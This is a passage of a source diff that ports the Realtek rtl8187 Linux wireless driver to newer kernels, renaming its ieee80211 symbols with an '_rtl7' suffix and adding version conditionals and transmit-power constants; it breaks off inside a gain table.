-970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Makefile 2010-05-19 22:18:51.859361932 -0700 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/modules.order rtl8187_linux_26.1010.0622.2006.modified/beta-8187/modules.order --- rtl8187_linux_26.1010.0622.2006/beta-8187/modules.order 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/modules.order 2010-05-19 22:24:09.389327640 -0700 @@ -0,0 +1 @@ +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.ko diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Module.symvers rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Module.symvers --- rtl8187_linux_26.1010.0622.2006/beta-8187/Module.symvers 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Module.symvers 2010-05-19 22:24:10.342666003 -0700 @@ -0,0 +1,41 @@ +0x00000000 ieee80211_softmac_start_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 free_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_name_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_register_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_ps_tx_ack_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_mgt_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_unregister_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_stop_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_handler_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wlan_frequencies_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_xmit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_entries_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_54g_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_beacon_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_shortslot_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rawtx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_reset_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_softmac_stop_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wpa_supplicant_ioctl_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 alloc_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_txb_free_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wake_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_delayed_deinit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_93cx6.c 2010-05-19 22:18:51.859361932 -0700 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_hw.h 2010-05-19 22:18:51.862696872 -0700 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.c 2010-05-19 22:18:51.866039146 -0700 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.h 2010-05-19 22:18:51.866039146 -0700 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225z2.c 2010-05-19 22:18:51.876029926 -0700 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 